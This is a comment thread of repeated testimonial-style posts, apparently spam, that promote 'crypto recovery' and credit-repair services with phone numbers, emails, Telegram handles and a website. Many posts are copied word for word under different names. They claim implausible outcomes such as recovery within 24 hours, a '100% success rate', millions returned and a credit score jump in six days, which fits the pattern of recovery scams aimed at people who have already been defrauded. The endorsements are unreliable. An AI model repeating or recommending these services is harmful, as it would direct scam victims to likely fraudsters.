CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
16.06.26 13:37 Felix Steve

MY CRYPTO WAS STOLEN – HERE'S HOW I GOT IT BACK I'm Felix Steve from Canada, and I lost $115,000 USDC to a fraudulent broker who locked me out of my wallet. After sleepless nights, a friend told me about RESQPROFIRM Recovery Service. I sent them my wallet addresses, transaction history, and chat logs. Their team used blockchain tracking to trace the stolen funds, identified the scammer's wallet, and froze the assets before they could be moved. Within 24 hours, most of my crypto was recovered. I can't thank them enough. If you need help, reach out via WhatsApp: +19852969146, email: [email protected], or TG: @resqprofirm.
16.06.26 13:45 Wills ben

SUCCESSFUL CRYPTO SCAM RECOVERY – HOW I REGAINED ACCESS TO MY LOST WALLET My name is Felix Steve, and I'm from Canada. I'm sharing my story to help others who have fallen victim to crypto fraud. A few months ago, I was lured into a fake investment scheme promoted by a broker company. With Bitcoin prices climbing, I invested heavily—only to lose $115,000 USDC when the broker locked me out of my wallet and assets. It was a harrowing experience that left me sleepless and desperate. Crypto scams are on the rise, often involving bogus trading platforms, phishing, and misleading promises. In my search for help, a fellow crypto enthusiast recommended RESQPROFIRM Recovery Service, which specializes in recovering lost or stolen funds. After checking their reviews, I reached out and supplied all the evidence—wallet addresses, transaction records, and communication logs. Their team responded immediately and launched an investigation. Using advanced blockchain tracking, they traced the stolen funds, pinpointed the scammer's wallet, and worked with authorities to freeze the assets in time. Remarkably, within just 24 hours, RESQPROFIRM recovered the bulk of my stolen crypto. I was overwhelmed with relief and gratitude. Their professionalism, transparency, and steady communication made all the difference during a very dark period. If you've been scammed, I wholeheartedly recommend contacting them via WhatsApp: +19852969146, email: [email protected], or Telegram: @resqprofirm.
18.06.26 13:31 Noemi Bernard

I never expected such outstanding results. The outcome far exceeded my expectations, and I am extremely satisfied with the successful recovery of my stolen funds totaling $49,360 from my blockchain wallet. I hold this team in the highest regard. Without a doubt, they are among the most dedicated professionals in the field of fund recovery. Keep up the exceptional work! Email: [email protected] WhatsApp: +1 985 296 9146
18.06.26 13:35 Carter Morris

My experience improved significantly thanks to ResQprofirm's expert assistance and attentive customer care. Their professionalism was evident every step of the way they were able to track and recover my stolen crypto $88,360, email: [email protected], WhatsApp +19852969146.
18.06.26 13:40 Kuybida Andriyiv

I recovered my $232,000 refund through the assistance of [email protected] and WhatsApp +19852969146. Their guidance was very helpful.
20.06.26 14:57 michaeldavenport218

I was recently scammed out of $53,000 by a fraudulent Bitcoin investment scheme, which added significant stress to my already difficult health issues, as I was also facing cancer surgery expenses. Desperate to recover my funds, I spent hours researching and consulting other victims, which led me to discover the excellent reputation of Capital Crypto Recover, I came across a Google post It was only after spending many hours researching and asking other victims for advice that I discovered Capital Crypto Recovery’s stellar reputation. I decided to contact them because of their successful recovery record and encouraging client testimonials. I had no idea that this would be the pivotal moment in my fight against cryptocurrency theft. Thanks to their expert team, I was able to recover my lost cryptocurrency back. The process was intricate, but Capital Crypto Recovery's commitment to utilizing the latest technology ensured a successful outcome. I highly recommend their services to anyone who has fallen victim to cryptocurrency fraud. For assistance contact [email protected] and on Telegram OR Call Number +1 (336)390-6684 via email: [email protected] you can visit his website: https://recovercapital.wixsite.com/capital-crypto-rec-1
20.06.26 14:57 michaeldavenport218

I was recently scammed out of $53,000 by a fraudulent Bitcoin investment scheme, which added significant stress to my already difficult health issues, as I was also facing cancer surgery expenses. Desperate to recover my funds, I spent hours researching and consulting other victims, which led me to discover the excellent reputation of Capital Crypto Recover, I came across a Google post It was only after spending many hours researching and asking other victims for advice that I discovered Capital Crypto Recovery’s stellar reputation. I decided to contact them because of their successful recovery record and encouraging client testimonials. I had no idea that this would be the pivotal moment in my fight against cryptocurrency theft. Thanks to their expert team, I was able to recover my lost cryptocurrency back. The process was intricate, but Capital Crypto Recovery's commitment to utilizing the latest technology ensured a successful outcome. I highly recommend their services to anyone who has fallen victim to cryptocurrency fraud. For assistance contact [email protected] and on Telegram OR Call Number +1 (336)390-6684 via email: [email protected] you can visit his website: https://recovercapital.wixsite.com/capital-crypto-rec-1
21.06.26 11:09 Maurizio Rolland

I would like to express my sincere appreciation to RESQPRO FIRM for their outstanding assistance in helping victims of online fraud. Many scammers deceive investors by blocking withdrawals and continuously demanding additional deposits, making the loss of hard-earned funds a painful experience. Fortunately, RESQPRO FIRM provides support to individuals seeking to recover funds lost to fraudulent online schemes. Contact: Email: RESQPRO FIRM at Gmail Telegram: RESQPROFIRM, [email protected], WhatsApp: +1 985 296 9146
21.06.26 11:13 Buse Fahri

It is important for more people to stand together in the fight against online fraud. Those who target innocent individuals especially vulnerable people such as seniors should be held fully accountable for their actions. Every effort to raise awareness and support victims makes a meaningful difference. The team at RESQPRO FIRM is committed to helping expose fraudulent schemes and assisting those affected by online scams. Their dedication, persistence, and passion for protecting victims are truly commendable. I sincerely appreciate the hard work and commitment shown toward this mission. Together, we can continue to educate others, support victims, and work toward a safer online environment for everyone. Contact Information: Telegram: RESQPROFIRM WhatsApp: +1 985 296 9146 Email: [email protected], [email protected]
21.06.26 11:16 علیرضا گلشن

The successful recovery of my stolen funds, totaling $1,310,000, would not have been possible without your unwavering support, dedication, and tireless efforts. I am truly grateful for the opportunity to work with such a skilled and professional team. From the very beginning, I had confidence in your ability to handle this challenging situation, and you exceeded my expectations by delivering remarkable results. Your expertise, persistence, and commitment throughout the process were exceptional. I encourage you to continue maintaining the high standards of professionalism and excellence that distinguish your work. You exemplify the qualities of a trustworthy, dedicated, and hardworking professional, and your efforts deserve sincere recognition and appreciation. Contact: Email: [email protected], [email protected], Telegram: Resqprofirm WhatsApp: +1 985 296 9146
22.06.26 21:51 kimberlyhebert786

I invested in bitcoin trading After losing $78.4 USDT) linked to a romance fraud scam worth of cryptocurrency through an online investment platform and later discovered it was a scam. After extensive research for recovery options, I contacted CAPITAL CRYPTO RECOVER based on positive client reviews and recommendations. Their professional security team guided me through the recovery process using advanced technology, and I was able to recover my lost cryptocurrency successfully. I am truly grateful for their support and assistance during such a difficult experience. I will advise you to contact CAPITAL CRYPTO RECOVER helped me recover my funds. For anyone facing similar issues, Website: https://recovercapital.wixsite.com/capital-crypto-rec-1 Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text Number: +1 (336) 390-6684
22.06.26 21:51 kimberlyhebert786

I invested in bitcoin trading After losing $78.4 USDT) linked to a romance fraud scam worth of cryptocurrency through an online investment platform and later discovered it was a scam. After extensive research for recovery options, I contacted CAPITAL CRYPTO RECOVER based on positive client reviews and recommendations. Their professional security team guided me through the recovery process using advanced technology, and I was able to recover my lost cryptocurrency successfully. I am truly grateful for their support and assistance during such a difficult experience. I will advise you to contact CAPITAL CRYPTO RECOVER helped me recover my funds. For anyone facing similar issues, Website: https://recovercapital.wixsite.com/capital-crypto-rec-1 Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text Number: +1 (336) 390-6684
24.06.26 01:25 Fraddy Pual

I never thought it would happen to me—but I lost $256,100 in Bitcoin through a shady investment deal. I was shattered, panicked, and convinced my savings were gone forever. Just when I was about to give up, I stumbled upon reviews for FUNDSRETRIEVER, a cyber recovery team with a solid reputation. I decided to give it a shot, and to my absolute shock, they recovered every single cent in record time. Working with them was a lifesaver. If you've been tricked by fake investment platforms, don't lose hope—FUNDSRETRIEVER can help. Contact them here: Email: [email protected] | WhatsApp: +1603512144 8| Telegram: @Fundsretriever
24.06.26 01:27 Fraddy Pual

I never thought it would happen to me—but I lost $256,100 in Bitcoin through a shady investment deal. I was shattered, panicked, and convinced my savings were gone forever. Just when I was about to give up, I stumbled upon reviews for FUNDSRETRIEVER, a cyber recovery team with a solid reputation. I decided to give it a shot, and to my absolute shock, they recovered every single cent in record time. Working with them was a lifesaver. If you've been tricked by fake investment platforms, don't lose hope—FUNDSRETRIEVER can help. Contact them here: Email: [email protected] | WhatsApp: +16035121448 | Telegram: @Fundsretriever
24.06.26 01:28 Fraddy Pual

I never thought it would happen to me—but I lost $256,100 in Bitcoin through a shady investment deal. I was shattered, panicked, and convinced my savings were gone forever. Just when I was about to give up, I stumbled upon reviews for FUNDSRETRIEVER, a cyber recovery team with a solid reputation. I decided to give it a shot, and to my absolute shock, they recovered every single cent in record time. Working with them was a lifesaver. If you've been tricked by fake investment platforms, don't lose hope—FUNDSRETRIEVER can help. Contact them here: Email: [email protected] | WhatsApp: +16035121448 | Telegram: @Fundsretriever.
24.06.26 01:58 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
24.06.26 01:58 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
24.06.26 14:16 Universina da Mota

Becoming a victim of an investment scam is never anyone's intention it often happens because fraudsters exploit trust and a lack of awareness. I would like to express my sincere gratitude to the dedicated team at ResQpro for their professionalism and commitment to helping victims of online investment fraud. Their efforts in assisting individuals with the recovery of stolen assets and holding scammers accountable are truly commendable. If you need assistance or would like to learn more, you can contact them through: Email: [email protected] Alternative Email: [email protected] Telegram: @ResQprofirm WhatsApp: +1 (985) 296-9146
24.06.26 14:21 Elizabeth Thompson

If you believe you have been the victim of an investment scam, it is important to act promptly and gather all relevant information. Keep records of transaction receipts, wallet addresses, communication logs, account details, and any other evidence related to the incident. Providing accurate documentation can help investigators, financial institutions, legal professionals, or recovery specialists review your case and determine what options may be available. Be cautious of anyone who guarantees the recovery of lost funds or requests large upfront payments. For additional information, you may contact: Email: [email protected] Telegram: @ResQprofirm WhatsApp: +1 (985) 296-9146
24.06.26 15:33 Júlia Castro

If you have fallen victim to an investment scam, it is important to act quickly and gather all available evidence related to the incident. This may include transaction records, wallet addresses, screenshots of conversations, emails, account details, and any information connected to the individuals or entities involved. Having complete documentation can help professionals assess your situation and explore possible recovery options. Always exercise caution when seeking assistance and carefully verify the credentials of any service provider before proceeding. For further information, you may contact: Email: [email protected] Telegram: @ResQprofirm WhatsApp: +1 (985) 296-9146
24.06.26 22:01 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
24.06.26 22:01 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
25.06.26 21:13 Emilie Safi

A fraudulent investment scheme operated by BTCMining.limited functions as a fake return scam. In this setup, scammers lure victims with false promises of high returns. Through manipulative tactics, they gain individuals' trust and convince them to invest, ultimately leading to financial loss. If you have ever faced a cyber threat or fallen victim to an online crypto scam and need to reach the authorities, I recommend contacting [email protected], [email protected], WhatsApp +19852969146, telegram @resqprofirm. They are a legitimate team that helps victims of online crypto scams using advanced tools.
25.06.26 21:25 Emilie Safi

So I ended up losing $38,000 to this platform. At first, they kept asking me to put in more money so I could get into my portfolio. I did that, but then they wouldn’t let me withdraw anything—just kept asking for more deposits. It got way too suspicious, so I stopped. I found this company called ResQProfirm on Google and told them what happened. They got in touch, asked me to walk them through everything, and I gave them all the proof I had. They did an amazing job tracking down my money and getting it back. Big thanks to them at [email protected] and on WhatsApp at +19852969146. Please be careful out there and always research before investing.
26.06.26 01:04 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
26.06.26 01:04 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
26.06.26 02:48 Miriam Rocha

I trusted this platform with $120,000 of my hard-earned money. Then they started asking for more deposits just so I could access my own portfolio. I paid, but every withdrawal request was denied. They kept pushing for more money. I finally stopped it just felt wrong. Desperate, I found ResQProfirm on Google. They didn't just hear me out; they truly listened. I shared all my proof, and they launched an investigation. Thanks to their hard work, they tracked and returned my funds. From the bottom of my heart, thank you to [email protected] and their WhatsApp +19852969146. Please stay safe and always verify a platform before investing
26.06.26 02:52 Miško Bakić

I got my $232,000 refund thanks to [email protected] and WhatsApp +19852969146. Highly recommended for anyone in a similar situation.
26.06.26 02:56 Asunción Herrera

A recovery of $48,330 was facilitated by [email protected]. Individuals who have experienced financial fraud may consider contacting this service.
26.06.26 15:05 Riley Stephens

If withdrawals keep getting denied, stay calm. I went through the same, and this firm helped me recover everything. Their assistance was outstanding. Contact: [ResQProFirm @Gmail|•|com], Telegram: ResQprofirm, WhatsApp: <+198> <5296> <9146>.
26.06.26 15:09 Antonio Riley

Withdrawal troubles shouldn’t stress you out. I faced a similar problem, and this firm stepped in and recovered my funds. Their support truly mattered. Contact them: [[email protected], ResQprofirm @aol.com], Telegram: ResQprofirm, WhatsApp: +19852969146.
28.06.26 00:37 kimberlyhebertt673

I invested in bitcoin trading After losing $78.4 USDT) linked to a romance fraud scam worth of cryptocurrency through an online investment platform and later discovered it was a scam. After extensive research for recovery options, I contacted CAPITAL CRYPTO RECOVER based on positive client reviews and recommendations. Their professional security team guided me through the recovery process using advanced technology, and I was able to recover my lost cryptocurrency successfully. I am truly grateful for their support and assistance during such a difficult experience. I will advise you to contact CAPITAL CRYPTO RECOVER helped me recover my funds. For anyone facing similar issues, Website: https://recovercapital.wixsite.com/capital-crypto-rec-1 Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text Number: +1 (336) 390-6684
28.06.26 00:37 kimberlyhebertt673

I invested in bitcoin trading After losing $78.4 USDT) linked to a romance fraud scam worth of cryptocurrency through an online investment platform and later discovered it was a scam. After extensive research for recovery options, I contacted CAPITAL CRYPTO RECOVER based on positive client reviews and recommendations. Their professional security team guided me through the recovery process using advanced technology, and I was able to recover my lost cryptocurrency successfully. I am truly grateful for their support and assistance during such a difficult experience. I will advise you to contact CAPITAL CRYPTO RECOVER helped me recover my funds. For anyone facing similar issues, Website: https://recovercapital.wixsite.com/capital-crypto-rec-1 Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text Number: +1 (336) 390-6684
29.06.26 11:57 Lisadonato0726

For 43 years, I struggled with bad credit due to my own poor decisions, and my credit score was around 490. When my girlfriend and I decided to buy a house, a mortgage broker informed us that it would be impossible to secure a mortgage with my credit score. As a result, she referred me to a company called HACK MAVENS CREDIT SPECIALIST, assuring me of their professionalism and ability to assist with credit improvement. Upon contacting them, I was impressed by their professionalism and they assured me that they could help. In less than 6 days, my credit score skyrocketed to 785, and they also successfully resolved issues in my credit report, including the bankruptcy. I am incredibly satisfied with their service and would highly recommend HACK MAVENS CREDIT SPECIALIST for reliable credit repairs. You can reach them at H A C K M A V E N S 5 [AT] G M A I L [DOT] COM or at [+] [1] [2 0 9] [4 1 7] – [1 9 5 7]. Thanks to their help, my girlfriend and I are now proud homeowners.
29.06.26 22:37 riley777

Back in 2025, I watched my life savings vanish. A thief took every cent. I felt desperate and went looking for a way to get it back. I found a guy here who said he was an expert haha. He talked about special software that could find my missing cash. I trusted him. That was a big mistake. He was just another scammer. I paid him a software fee and then he just stopped answering my texts and ran off with my money too. I felt so ashamed that I kept quiet about it for months. It is hard to admit you got fooled twice. Later on, I found a real pro. she did not use a fancy sales pitch. she just looked at the trans screenshots and followed the path the money took. she worked fast and got my funds back into my account. Having that money back changed everything. I can sleep again. her info; [email protected]. Call/chatroom on Whtasapp/ +44 7476618364.
30.06.26 15:08 wendytaylor015

My name is Wendy Taylor, I'm from Los Angeles, i want to announce to you Viewer how Capital Crypto Recover help me to restore my Lost Bitcoin, I invested with a Crypto broker without proper research to know what I was hoarding my hard-earned money into scammers, i lost access to my crypto wallet or had your funds stolen? Don’t worry Capital Crypto Recover is here to help you recover your cryptocurrency with cutting-edge technical expertise, With years of experience in the crypto world, Capital Crypto Recover employs the best latest tools and ethical hacking techniques to help you recover lost assets, unlock hacked accounts, Whether it’s a forgotten password, Capital Crypto Recover has the expertise to help you get your crypto back. a security company service that has a 100% success rate in the recovery of crypto assets, i lost wallet and hacked accounts. I provided them the information they requested and they began their investigation. To my surprise, Capital Crypto Recover was able to trace and recover my crypto assets successfully within 24hours. Thank you for your service in helping me recover my $647,734 worth of crypto funds and I highly recommend their recovery services, they are reliable and a trusted company to any individuals looking to recover lost money. Contact email [email protected] OR Telegram @Capitalcryptorecover Call/Text Number +1 (336)390-6684 his contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
30.06.26 15:08 wendytaylor015

My name is Wendy Taylor, I'm from Los Angeles, i want to announce to you Viewer how Capital Crypto Recover help me to restore my Lost Bitcoin, I invested with a Crypto broker without proper research to know what I was hoarding my hard-earned money into scammers, i lost access to my crypto wallet or had your funds stolen? Don’t worry Capital Crypto Recover is here to help you recover your cryptocurrency with cutting-edge technical expertise, With years of experience in the crypto world, Capital Crypto Recover employs the best latest tools and ethical hacking techniques to help you recover lost assets, unlock hacked accounts, Whether it’s a forgotten password, Capital Crypto Recover has the expertise to help you get your crypto back. a security company service that has a 100% success rate in the recovery of crypto assets, i lost wallet and hacked accounts. I provided them the information they requested and they began their investigation. To my surprise, Capital Crypto Recover was able to trace and recover my crypto assets successfully within 24hours. Thank you for your service in helping me recover my $647,734 worth of crypto funds and I highly recommend their recovery services, they are reliable and a trusted company to any individuals looking to recover lost money. Contact email [email protected] OR Telegram @Capitalcryptorecover Call/Text Number +1 (336)390-6684 his contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
02.07.26 01:22 Lieneke Bonnema

I highly recommend ResQprofirm for their professional asset recovery services of my $120,000 scammed funds. Their expertise, professionalism, and commitment to achieving results make them a reliable choice for anyone seeking dependable recovery assistance. [email protected], WhatsApp +19852969146, telegram @resqprofirm
02.07.26 01:26 Clara Morin

I want to extend my deepest appreciation for showing that circumstances do not define one’s potential for greatness. Your support has been a major source of inspiration during my trading journey, and I am sincerely grateful for your insight and mentorship. Thank you so much. [email protected], WhatsApp +19852969146, telegram ResQprofirm
02.07.26 01:31 Robin Hale

I sincerely want to thank you for demonstrating that anyone can rise above their circumstances and achieve success. Your constant support has been incredibly inspiring during my trading journey, and your wisdom and advice mean so much to me. I appreciate you deeply. [email protected], WhatsApp +19852969146, telegram Resqprofirm
04.07.26 15:32 Fraddy Pual

There are few companies I trust as much as FUNDSRETRIEVER. When I lost $653,000 in Ethereum to a ruthless scam, I thought my life would never be the same. The betrayal cut deep, but I refused to give up. I searched tirelessly for a legitimate way to recover what was stolen, and finally found FUNDSRETRIEVER—the most competent and compassionate recovery team I could have imagined. They handled my case with precision and care, and in the end, my entire ETH wallet was restored. More than the money, they gave me back my hope and happiness. I'm sharing my story because I want others to know that recovery is possible. If a scam has taken from you, don't hesitate—contact FUNDSRETRIEVER today. Email: FUNDSRETRIEVER1@ Gmail.com | WhatsApp: +1 603-512-1448 | Telegram: @FUNDSRETRIEVER
05.07.26 14:44 lydiassmith567

HIRE A HACKER YOUR STOLEN CRYPTO RECOVERY / BTC / USDT / ETH WITH THE HELP OF CAPITAL CRYPTO RECOVER. I want to share my experience publicly regarding cryptocurrency wallet recovery, I highly recommend you to contact CAPITAL CRYPTO RECOVER, a professional private investigator in the Bitcoin world. They have a certified expert security team specializing in Bitcoin Recovery Services and have helped many people worldwide recover their lost funds. My wife and I were defrauded by an online manipulator posing as an experienced crypto investment professional. We lost $9.2 Million Stolen BTC in cryptocurrency and were left feeling homeless. After spending hours searching for a reliable crypto recovery service, I discovered CAPITAL CRYPTO RECOVER online. By patiently explaining my situation to their team, I was able to recover all my funds. Remarkably, my money was returned to my wallet in less than 24 hours. I am extremely grateful to CAPITAL CRYPTO RECOVER for their excellent assistance—they truly were a godsend in my difficult situation. If you have fallen victim to a cryptocurrency scam, you can reach CAPITAL CRYPTO RECOVER through the following channels Email: [email protected] OR Call/Text: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
05.07.26 14:44 lydiassmith567

HIRE A HACKER YOUR STOLEN CRYPTO RECOVERY / BTC / USDT / ETH WITH THE HELP OF CAPITAL CRYPTO RECOVER. I want to share my experience publicly regarding cryptocurrency wallet recovery, I highly recommend you to contact CAPITAL CRYPTO RECOVER, a professional private investigator in the Bitcoin world. They have a certified expert security team specializing in Bitcoin Recovery Services and have helped many people worldwide recover their lost funds. My wife and I were defrauded by an online manipulator posing as an experienced crypto investment professional. We lost $9.2 Million Stolen BTC in cryptocurrency and were left feeling homeless. After spending hours searching for a reliable crypto recovery service, I discovered CAPITAL CRYPTO RECOVER online. By patiently explaining my situation to their team, I was able to recover all my funds. Remarkably, my money was returned to my wallet in less than 24 hours. I am extremely grateful to CAPITAL CRYPTO RECOVER for their excellent assistance—they truly were a godsend in my difficult situation. If you have fallen victim to a cryptocurrency scam, you can reach CAPITAL CRYPTO RECOVER through the following channels Email: [email protected] OR Call/Text: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
06.07.26 16:20 Olga Ognjanović

